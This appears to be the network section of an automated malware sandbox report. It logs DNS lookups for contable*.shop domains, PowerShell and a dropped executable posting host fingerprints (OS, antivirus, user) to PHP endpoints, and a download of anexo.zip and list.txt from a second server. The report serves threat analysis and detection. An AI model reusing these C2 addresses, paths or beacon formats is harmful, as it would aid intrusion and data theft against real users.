Dec 12, 2024 12:57:39.566991091 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.567059994 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.567133904 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.567225933 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.567238092 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.567249060 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.567441940 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.567512035 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.567522049 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.567531109 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.567540884 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.567549944 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.567657948 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.567667961 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.567677021 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.567686081 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.567696095 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.567703962 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.567704916 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.567713976 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.567723989 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.567789078 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.567914009 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.568031073 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.714982986 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.714996099 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.715239048 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.715487957 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.715588093 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.715600967 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.715786934 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.715799093 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.715810061 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.715820074 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.715828896 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.715837955 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.715840101 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.715847969 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.715857983 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.715867996 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.715893030 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.715903044 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.715912104 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.715920925 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.715930939 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.716048002 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.716049910 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.716051102 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.716051102 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.716052055 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.716053009 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.716061115 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.716134071 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.716204882 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.716221094 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.716223001 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.716260910 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.716272116 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.716280937 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.716284990 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.716290951 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.716300964 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.716310978 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.716320038 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.716330051 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.716339111 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.716388941 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.716392040 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.716465950 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.716568947 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.716686010 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.716747999 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.737262011 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.887422085 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.887444019 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.887615919 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.887712002 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.887758017 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.887857914 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.887898922 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.888046980 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.888060093 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.888070107 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.888079882 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.888089895 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.888101101 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.888109922 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.888118982 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.888128996 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.888139009 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.888214111 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.888226986 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.888236046 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.888237000 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.888247013 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.888257027 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.888267040 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.888276100 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:39.888369083 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.888369083 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.888550997 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:39.895742893 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:40.046044111 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:40.046303034 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:40.201447010 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:40.247565985 CET	49780	80	192.168.11.20	93.127.200.211
Dec 12, 2024 12:57:45.206676960 CET	80	49780	93.127.200.211	192.168.11.20
Dec 12, 2024 12:57:45.206835985 CET	49780	80	192.168.11.20	93.127.200.211

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 12:55:57.735878944 CET	50603	53	192.168.11.20	1.1.1.1
Dec 12, 2024 12:55:58.010631084 CET	53	50603	1.1.1.1	192.168.11.20
Dec 12, 2024 12:56:01.810395002 CET	62780	53	192.168.11.20	1.1.1.1
Dec 12, 2024 12:56:01.979154110 CET	53	62780	1.1.1.1	192.168.11.20
Dec 12, 2024 12:56:15.765763998 CET	62004	53	192.168.11.20	1.1.1.1
Dec 12, 2024 12:56:15.933490992 CET	53	62004	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 12, 2024 12:55:57.735878944 CET	192.168.11.20	1.1.1.1	0x8e86	Standard query (0)	contablegbv.shop	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:56:01.810395002 CET	192.168.11.20	1.1.1.1	0x3286	Standard query (0)	contablebar.shop	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:56:15.765763998 CET	192.168.11.20	1.1.1.1	0x3a18	Standard query (0)	contablefea.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 12, 2024 12:55:58.010631084 CET	1.1.1.1	192.168.11.20	0x8e86	No error (0)	contablegbv.shop	159.100.18.13	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:56:01.979154110 CET	1.1.1.1	192.168.11.20	0x3286	No error (0)	contablebar.shop	159.100.18.13	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:56:15.933490992 CET	1.1.1.1	192.168.11.20	0x3a18	No error (0)	contablefea.shop	93.127.200.211	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

contablegbv.shop

contablebar.shop

contablefea.shop

159.100.18.13

93.127.200.211

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49765	159.100.18.13	80	6996	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 12:56:03.631294966 CET	171	OUT	POST /ldht/index26.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 159.100.18.13 Content-Length: 94 Expect: 100-continue Connection: Keep-Alive
Dec 12, 2024 12:56:03.849378109 CET	25	IN	HTTP/1.1 100 Continue
Dec 12, 2024 12:56:03.852830887 CET	94	OUT	Data Raw: 41 54 3d 57 31 30 36 34 5f 30 33 20 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 20 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 20 45 6e 67 6c 69 73 68 20 28 55 6e 69 74 65 64 20 4b 69 6e 67 64 6f 6d 29 20 20 33 Data Ascii: AT=computer Microsoft Windows 10 Pro Windows Defender English (United Kingdom) 32-Bit CPU
Dec 12, 2024 12:56:04.121125937 CET	209	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:56:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 6 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 42 72 61 7a 69 6c Data Ascii: Brazil

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49767	159.100.18.13	80	8440	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 12:56:17.122169971 CET	169	OUT	POST /ps/index14.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 159.100.18.13 Content-Length: 94 Expect: 100-continue Connection: Keep-Alive
Dec 12, 2024 12:56:17.345138073 CET	25	IN	HTTP/1.1 100 Continue
Dec 12, 2024 12:56:17.350227118 CET	94	OUT	Data Raw: 41 54 3d 57 31 30 36 34 5f 30 33 20 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 20 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 20 45 6e 67 6c 69 73 68 20 28 55 6e 69 74 65 64 20 4b 69 6e 67 64 6f 6d 29 20 20 36 Data Ascii: AT=computer Microsoft Windows 10 Pro Windows Defender English (United Kingdom) 64-Bit CPU
Dec 12, 2024 12:56:17.603955030 CET	209	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:56:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 6 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 42 72 61 7a 69 6c Data Ascii: Brazil

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49768	159.100.18.13	80	8440	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 12:56:17.681117058 CET	146	OUT	POST /ps1/index14.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 159.100.18.13 Content-Length: 94 Expect: 100-continue
Dec 12, 2024 12:56:17.897025108 CET	25	IN	HTTP/1.1 100 Continue
Dec 12, 2024 12:56:17.897244930 CET	94	OUT	Data Raw: 41 54 3d 57 31 30 36 34 5f 30 33 20 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 20 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 20 45 6e 67 6c 69 73 68 20 28 55 6e 69 74 65 64 20 4b 69 6e 67 64 6f 6d 29 20 20 36 Data Ascii: AT=computer Microsoft Windows 10 Pro Windows Defender English (United Kingdom) 64-Bit CPU
Dec 12, 2024 12:56:18.142129898 CET	153	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:56:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 42 72 61 7a 69 6c Data Ascii: Brazil

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49775	159.100.18.13	80	2724	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 12:57:02.062905073 CET	169	OUT	POST /ps/index14.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 159.100.18.13 Content-Length: 94 Expect: 100-continue Connection: Keep-Alive
Dec 12, 2024 12:57:02.279189110 CET	25	IN	HTTP/1.1 100 Continue
Dec 12, 2024 12:57:02.283446074 CET	94	OUT	Data Raw: 41 54 3d 57 31 30 36 34 5f 30 33 20 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 20 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 20 45 6e 67 6c 69 73 68 20 28 55 6e 69 74 65 64 20 4b 69 6e 67 64 6f 6d 29 20 20 36 Data Ascii: AT=computer Microsoft Windows 10 Pro Windows Defender English (United Kingdom) 64-Bit CPU
Dec 12, 2024 12:57:02.528186083 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:57:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49776	159.100.18.13	80	4520	C:\_nczuwk7_H\_nczuwk7_H.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 12:57:23.063281059 CET	319	OUT	POST /INFB/index14.php HTTP/1.0 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 73 Host: 159.100.18.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 b0c5r2K7a8s7E427ox/12.0
Dec 12, 2024 12:57:23.279539108 CET	73	OUT	Data Raw: 41 54 3d 4d 69 63 72 6f 73 6f 66 74 2b 57 69 6e 64 6f 77 73 2b 31 30 2b 50 72 6f 2b 25 32 38 36 34 25 32 39 62 69 74 2b 41 72 74 68 75 72 2b 39 32 31 37 30 32 26 4d 44 3d 57 69 6e 64 6f 77 73 2b 44 65 66 65 6e 64 65 72 Data Ascii: AT=Microsoft+Windows+10+Pro+%2864%29bit+user+921702&MD=Windows+Defender
Dec 12, 2024 12:57:23.525091887 CET	209	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:57:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 6 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 42 72 61 7a 69 6c Data Ascii: Brazil

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49780	93.127.200.211	80	5268	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 12:57:38.938939095 CET	94	OUT	GET /a/08/150822/au/auout/anexo.zip HTTP/1.1 Host: 93.127.200.211 Connection: Keep-Alive
Dec 12, 2024 12:57:39.088222980 CET	810	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:57:39 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Thu, 05 Dec 2024 19:54:12 GMT ETag: "207-6288b43200100" Accept-Ranges: bytes Content-Length: 519 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/zip Data Raw: 50 4b 03 04 14 00 00 08 08 00 c6 86 85 59 09 28 7e 77 6b 01 00 00 16 02 00 00 1d 00 00 00 72 39 4e 32 79 31 48 34 79 34 61 31 66 39 36 39 32 33 37 36 36 38 34 38 2e 68 74 6d 6c 4d 92 4d 6f 1b 21 10 86 ef 96 fc 1f c8 56 ca 29 2c bb f6 da 4a 36 26 55 d5 26 a7 48 ad f2 71 c8 71 0c c3 2e 0d 0b 14 b0 53 2b ca 7f cf 7e c4 51 c4 61 de 79 5e 34 c0 0c 9b 93 5f bf 7f 3e 3c fd b9 26 6d ea cc d5 7c b6 19 22 31 60 1b 9e f9 44 af ef b3 11 22 c8 21 76 98 80 88 16 42 c4 c4 b3 c7 87 1b 7a 9e 7d 72 0b 1d f2 6c af f1 c5 bb 90 32 22 9c 4d 68 fb 7d 2f 5a a6 96 4b dc 6b 81 74 4c ce 88 b6 3a 69 30 34 0a 30 c8 cb bc 18 eb 24 9d 0c 5e 6d d8 14 7b 10 d3 61 14 5b 27 0f e4 75 3e 53 7d 4d aa a0 d3 e6 50 93 1f a1 af 70 46 22 d8 48 23 06 ad 2e e7 b3 0e 42 a3 6d 4d 8a 5e 7b 90 52 db a6 26 8b c2 ff ef f3 2d 88 e7 26 b8 9d 95 54 38 e3 42 4d be a9 6a 58 bd f7 36 9f b5 e5 70 c2 d1 59 2e 97 13 f6 5f e9 6a b5 9a e8 86 1d af 36 3d be 4d c9 53 fc b7 d3 7b 9e 05 54 01 63 fb a5 03 e5 25 79 bc bb e5 c3 a6 58 33 a6 74 c0 2d 44 8c c9 05 68 30 [TRUNCATED] Data Ascii: PKY(~wkr9N2y1H4y4a1f96923766848.htmlMMo!V),J6&U&Hqq.S+~Qay^4_><&m\|"1`D"!vBz}rl2"Mh}/ZKktL:i040$^m{a['u>S}MPpF"H#.BmM^{R&-&T8BMjX6pY._j6=MS{Tc%yX3t-Dh0ok1cm_r>zFIC4g\JrQEEbyQUJ8g9tbOPKY(~wk r9N2y1H4y4a1f96923766848.htmlPKK
Dec 12, 2024 12:57:39.118644953 CET	164	OUT	GET /a/08/150822/au/auout/list.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: 93.127.200.211
Dec 12, 2024 12:57:39.267916918 CET	1289	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:57:39 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Thu, 12 Dec 2024 11:29:25 GMT ETag: "21b61-6291106cf92ec" Accept-Ranges: bytes Content-Length: 138081 Vary: Accept-Encoding Content-Type: text/plain Data Raw: 6c 69 73 74 2e 30 31 33 37 2e 74 78 74 0a 6c 69 73 74 2e 30 31 33 38 2e 74 78 74 0a 6c 69 73 74 2e 30 31 33 39 2e 74 78 74 0a 6c 69 73 74 2e 30 31 34 30 2e 74 78 74 0a 6c 69 73 74 2e 30 31 34 31 2e 74 78 74 0a 6c 69 73 74 2e 30 31 34 32 2e 74 78 74 0a 6c 69 73 74 2e 30 31 34 33 2e 74 78 74 0a 6c 69 73 74 2e 30 31 34 34 2e 74 78 74 0a 6c 69 73 74 2e 30 31 34 35 2e 74 78 74 0a 6c 69 73 74 2e 30 31 34 36 2e 74 78 74 0a 6c 69 73 74 2e 30 31 34 37 2e 74 78 74 0a 6c 69 73 74 2e 30 31 34 38 2e 74 78 74 0a 6c 69 73 74 2e 30 31 34 39 2e 74 78 74 0a 6c 69 73 74 2e 30 31 35 30 2e 74 78 74 0a 6c 69 73 74 2e 30 31 35 31 2e 74 78 74 0a 6c 69 73 74 2e 30 31 35 32 2e 74 78 74 0a 6c 69 73 74 2e 30 31 35 33 2e 74 78 74 0a 6c 69 73 74 2e 30 31 35 34 2e 74 78 74 0a 6c 69 73 74 2e 30 31 35 35 2e 74 78 74 0a 6c 69 73 74 2e 30 31 35 36 2e 74 78 74 0a 6c 69 73 74 2e 30 31 35 37 2e 74 78 74 0a 6c 69 73 74 2e 30 31 35 38 2e 74 78 74 0a 6c 69 73 74 2e 30 31 35 39 2e 74 78 74 0a 6c 69 73 74 2e 30 31 36 30 2e 74 78 74 0a 6c 69 [TRUNCATED] Data Ascii: list.0137.txtlist.0138.txtlist.0139.txtlist.0140.txtlist.0141.txtlist.0142.txtlist.0143.txtlist.0144.txtlist.0145.txtlist.0146.txtlist.0147.txtlist.0148.txtlist.0149.txtlist.0150.txtlist.0151.txtlist.0152.txtlist.0153.txtlist.0154.txtlist.0155.txtlist.0156.txtlist.0157.txtlist.0158.txtlist.0159.txtlist.0160.txtlist.0161.txtlist.0162.txtlist.0163.txtlist.0164.txtlist.0165.txtlist.0166.txtlist.0167.txtlist.0168.txtlist.0169.txtlist.0170.txtlist.0171.txtlist.0172.txtlist.0173.txtlist.0174.txtlist.0175.txtlist.0176.txtlist.0177.txtlist.0178.txtlist.0179.txtlist.0180.txtlist.0181.txtlist.0182.txtlist.0183.txtlist.0184.txtlist.0185.txtlist.0186.txtlist.0187.txtlist.0188.txtlist.0189.txtlist.0190.txtlist.0191.txtlist.0192.txtlist.0193.txtlist.0194.txtlist.0195.txtlist.0196.txtlist.0197.txtlist.0198.txtlist.0199.txtlist.0200.txtlist.0201.txtlist.0202.txtlist.0203.txtlist.0204.txtlist.0205.txtlist.0206.txtlist.0207.txtlist.0208.txtlist [TRUNCATED]
Dec 12, 2024 12:57:39.267930031 CET	1289	IN	Data Raw: 2e 74 78 74 0a 6c 69 73 74 2e 30 32 31 31 2e 74 78 74 0a 6c 69 73 74 2e 30 32 31 32 2e 74 78 74 0a 6c 69 73 74 2e 30 32 31 33 2e 74 78 74 0a 6c 69 73 74 2e 30 32 31 34 2e 74 78 74 0a 6c 69 73 74 2e 30 32 31 35 2e 74 78 74 0a 6c 69 73 74 2e 30 32 Data Ascii: .txtlist.0211.txtlist.0212.txtlist.0213.txtlist.0214.txtlist.0215.txtlist.0216.txtlist.0217.txtlist.0218.txtlist.0219.txtlist.0220.txtlist.0221.txtlist.0222.txtlist.0223.txtlist.0224.txtlist.0225.txtlist.0226.txtlist.0227.txt
Dec 12, 2024 12:57:39.267940044 CET	1289	IN	Data Raw: 74 78 74 0a 6c 69 73 74 2e 30 33 30 33 2e 74 78 74 0a 6c 69 73 74 2e 30 33 30 34 2e 74 78 74 0a 6c 69 73 74 2e 30 33 30 35 2e 74 78 74 0a 6c 69 73 74 2e 30 33 30 36 2e 74 78 74 0a 6c 69 73 74 2e 30 33 30 37 2e 74 78 74 0a 6c 69 73 74 2e 30 33 30 Data Ascii: txtlist.0303.txtlist.0304.txtlist.0305.txtlist.0306.txtlist.0307.txtlist.0308.txtlist.0309.txtlist.0310.txtlist.0311.txtlist.0312.txtlist.0313.txtlist.0314.txtlist.0315.txtlist.0316.txtlist.0317.txtlist.0318.txtlist.0319.txtl
Dec 12, 2024 12:57:39.267963886 CET	1289	IN	Data Raw: 78 74 0a 6c 69 73 74 2e 30 33 39 35 2e 74 78 74 0a 6c 69 73 74 2e 30 33 39 36 2e 74 78 74 0a 6c 69 73 74 2e 30 33 39 37 2e 74 78 74 0a 6c 69 73 74 2e 30 33 39 38 2e 74 78 74 0a 6c 69 73 74 2e 30 33 39 39 2e 74 78 74 0a 6c 69 73 74 2e 30 34 30 30 Data Ascii: xtlist.0395.txtlist.0396.txtlist.0397.txtlist.0398.txtlist.0399.txtlist.0400.txtlist.0401.txtlist.0402.txtlist.0403.txtlist.0404.txtlist.0405.txtlist.0406.txtlist.0407.txtlist.0408.txtlist.0409.txtlist.0410.txtlist.0411.txtli
Dec 12, 2024 12:57:39.268199921 CET	1289	IN	Data Raw: 74 0a 6c 69 73 74 2e 30 34 38 37 2e 74 78 74 0a 6c 69 73 74 2e 30 34 38 38 2e 74 78 74 0a 6c 69 73 74 2e 30 34 38 39 2e 74 78 74 0a 6c 69 73 74 2e 30 34 39 30 2e 74 78 74 0a 6c 69 73 74 2e 30 34 39 31 2e 74 78 74 0a 6c 69 73 74 2e 30 34 39 32 2e Data Ascii: tlist.0487.txtlist.0488.txtlist.0489.txtlist.0490.txtlist.0491.txtlist.0492.txtlist.0493.txtlist.0494.txtlist.0495.txtlist.0496.txtlist.0497.txtlist.0498.txtlist.0499.txtlist.0500.txtlist.0501.txtlist.0502.txtlist.0503.txtlis
Dec 12, 2024 12:57:39.268212080 CET	1289	IN	Data Raw: 0a 6c 69 73 74 2e 30 35 37 39 2e 74 78 74 0a 6c 69 73 74 2e 30 35 38 30 2e 74 78 74 0a 6c 69 73 74 2e 30 35 38 31 2e 74 78 74 0a 6c 69 73 74 2e 30 35 38 32 2e 74 78 74 0a 6c 69 73 74 2e 30 35 38 33 2e 74 78 74 0a 6c 69 73 74 2e 30 35 38 34 2e 74 Data Ascii: list.0579.txtlist.0580.txtlist.0581.txtlist.0582.txtlist.0583.txtlist.0584.txtlist.0585.txtlist.0586.txtlist.0587.txtlist.0588.txtlist.0589.txtlist.0590.txtlist.0591.txtlist.0592.txtlist.0593.txtlist.0594.txtlist.0595.txtlist
Dec 12, 2024 12:57:39.268222094 CET	1289	IN	Data Raw: 6c 69 73 74 2e 30 36 37 31 2e 74 78 74 0a 6c 69 73 74 2e 30 36 37 32 2e 74 78 74 0a 6c 69 73 74 2e 30 36 37 33 2e 74 78 74 0a 6c 69 73 74 2e 30 36 37 34 2e 74 78 74 0a 6c 69 73 74 2e 30 36 37 35 2e 74 78 74 0a 6c 69 73 74 2e 30 36 37 36 2e 74 78 Data Ascii: list.0671.txtlist.0672.txtlist.0673.txtlist.0674.txtlist.0675.txtlist.0676.txtlist.0677.txtlist.0678.txtlist.0679.txtlist.0680.txtlist.0681.txtlist.0682.txtlist.0683.txtlist.0684.txtlist.0685.txtlist.0686.txtlist.0687.txtlist.
Dec 12, 2024 12:57:39.268249035 CET	1289	IN	Data Raw: 69 73 74 2e 30 37 36 33 2e 74 78 74 0a 6c 69 73 74 2e 30 37 36 34 2e 74 78 74 0a 6c 69 73 74 2e 30 37 36 35 2e 74 78 74 0a 6c 69 73 74 2e 30 37 36 36 2e 74 78 74 0a 6c 69 73 74 2e 30 37 36 37 2e 74 78 74 0a 6c 69 73 74 2e 30 37 36 38 2e 74 78 74 Data Ascii: ist.0763.txtlist.0764.txtlist.0765.txtlist.0766.txtlist.0767.txtlist.0768.txtlist.0769.txtlist.0770.txtlist.0771.txtlist.0772.txtlist.0773.txtlist.0774.txtlist.0775.txtlist.0776.txtlist.0777.txtlist.0778.txtlist.0779.txtlist.0
